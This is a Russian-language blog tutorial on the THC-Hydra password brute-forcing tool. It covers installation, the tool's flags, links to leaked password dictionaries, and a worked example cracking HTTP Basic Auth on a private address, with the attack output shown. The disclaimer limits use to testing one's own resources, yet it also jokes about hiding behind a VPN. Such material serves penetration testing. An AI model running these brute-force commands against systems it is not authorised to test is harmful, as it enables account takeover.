Брутим пароли с Гидрой (THC-Hydra)

Полезный универсальный инструмент для подбора паролей при проведения тестов на уязвимость собственных ресурсов ;)

Внимание! Статья носит исключительно ознакомительную информацию с утилитой и ни в коем случае не призывает использовать её в мошеннических целях. Как правило, данная утилита может быть использована для проведения тестов на уязвимость собственных ресурсов. Не забывайте предохраняться и натянуть на себя VPN хотя бы.

Когда penetration testing заходит в тупик, остается крайний метод - подбор пароля. Дабы уницифировать все инструменты подбора паролей и не использовать для разных задач отдельные брутфорсы есть замечательный универсальный инструмент - THC-Hydra, который имеет поддержку пароля по/для Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP.

Установка

Пакет hydra содержится в epel-репозитории, поэтому достаточно подключить его и установить.

yum install -y epel-release
yum install -y hydra

Или собрать с сорсов для пользователей других ОС:

mkdir ~/hydra_src && cd ~/hydra_src
wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip && unzip master.zip && rm -f master.zip
cd thc-hydra-master/
yum install gcc mysql-devel libssh
make clean && ./configure
make && make install
hydra -h
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
Options:
-R restore a previous aborted/crashed session
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to be attacked in parallel, one entry per line
-o FILE write found login/password pairs to FILE instead of stdout
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
-w / -W TIME waittime for responses (32s) / between connects per thread
-4 / -6 prefer IPv4 (default) or IPv6 addresses
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-U service module usage details
server the target server (use either this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 afp ncp oracle.
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
E.g.: % export HTTP_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
% export HTTP_PROXY_HTTP=http://proxy:8080
% export HTTP_PROXY_AUTH=user:pass
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5

Словари

Брутить можно как с помощью подбора посимвольно, так и с помощью подготовленного словаря наиболее часто используемых паролей. Рекомендую первым делом попытаться подобрать пароль со словарем, и уже если и этот способ не увенчался успехом — переходить к прямому бруту посмивольно.

Словари можно поискать здесь или воспользоваться имеющимися.

Готовые списки паролей: top500; top4000; cain&abel (300k); пароли от яндекса (700k); пароли от маил.ру (2740k); маил.ру + яндекс (3300k)

Использование

Рассмотрим флаги запуска:

  • -R Восстановить предыдущую сессию, которая по какой-либо причине была прервана
  • -S Использовать SSL соединение
  • -s PORT Указание порта (отличного от дефолтного) сервиса
  • -l LOGIN Использовать указанный логин для попытки аутентификации
  • -L FILE Использовать список логинов из указанного файла
  • -p PASS Использовать указанный пароль для попытки аутентификации
  • -P FILE Использовать список паролей из указанного файла
  • -x Генерировать пароли для подбора самостоятельно, указывается в формате -x MIN:MAX:CHARSET, где MIN — это минимальная длинна пароля, MAX — соответственно, максимальная, а CHARSET — это набор символов, в котором a означает латиницу в нижнем регистре, A — в верхнем регистре, 1 — числа, а для указания дополнительных символов — просто укажи их как есть. Вот несколько примеров генерации паролей:
  • -x 3:5:a — длинной от 3 до 5 символов, состоящие только из символов латиницы в нижнем регистре;
  • -x 5:8:A1 — длинной от 5 до 8 символов, состоящие из символов латиницы в верхнем регистре + цифр;
  • -x 1:3:/ — длинной от 1 до 3 символов, состоящие только из символов слеша /;
  • -x 5:5:/%,.- — длинной в 5 символов, состоящие только из символов /%,.-;
  • -e nsr Укажи n для проверки пустых паролей, s для попытки использования в качестве пароля — логин, и (или) r для попытки входа под перевернутым логином
  • -u Пытаться подобрать логин а не пароль
  • -C FILE Использовать файл в формате login:pass вместо указания -L/-P
  • -M FILE Файл со списком целей для брутфорса (можно с указанием порта через двоеточие), по одному на строку
  • -o FILE Записать подобранную пару логин/пароль в файл, вместо того чтоб просто вывести в stdout (будет указан с указанием сервера, к которому подобран — не запутаешься)
  • -f / -F Прекратить работу, как только первая пара логин:пароль будет подобрана. -f только для текущего хоста, -F — глобально.
  • -t TASKS Количество параллельных процессов (читай — потоков). По умолчанию 16
  • -w Таймаут для ответа сервера. По умолчанию 32 секунды
  • -W Таймаут между ответами сервера
  • -4 / -6 Использовать IPv4 (по умолчанию) или IPv6 адреса (при указании с -M всегда заключай в [])
  • -v Более подробный вывод информации о процессе
  • -V Выводить каждый подбираемый логин + пароль
  • -d Режим дебага
  • -O Использовать старый SSL v2 и v3
  • -q Не выводить сообщения об ошибках подключения
  • -U Дополнительная информация о использовании выбранного модуля
  • -h Вывод справочной информации

Примеры работы

Basic Authentication

Cканируя диапазон адресов мы попадаем на некоторый интерфейс, доступный по http протоколу, но закрытый для доступа при помощи Basic Authentication (пример настройки с помощью nginx).

  • IP сервера: 192.168.2.15;
  • Сервис: http;
  • Путь, который закрыт для нас запросом пары логин/пароль: /admin/;
  • Порт, на котором работает http сервер: 80;

Предположим (или любым доступным путем выясним), что логин для авторизации admin, и нам неизвестен лишь пароль. Подбирать будем с помощью заранее подготовленного словаря и с использованием модуля http-get:

[root@localhost opt]# hydra -l admin -P /opt/pass.txt -o ./hydra_result.log -f -V -s 80 192.168.2.15 http-get /admin/
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-08 14:37:45
[DATA] 16 tasks, 1 server, 234 login tries (l:1/p:234), ~14 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt1311113" - 1 of 234 [child 0]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt19391936" - 2 of 234 [child 1]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt2006pp" - 3 of 234 [child 2]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt21l16" - 4 of 234 [child 3]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt5390" - 5 of 234 [child 4]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt911pvpsw2" - 6 of 234 [child 5]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "sltanya" - 7 of 234 [child 6]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "admin" - 8 of 234 [child 7]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "password" - 9 of 234 [child 8]
...
[80][www] host: 192.168.2.15 login: admin password: password
[STATUS] attack finished for 192.168.2.15 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

Статья ожидает продолжения..

Поделиться Комментарии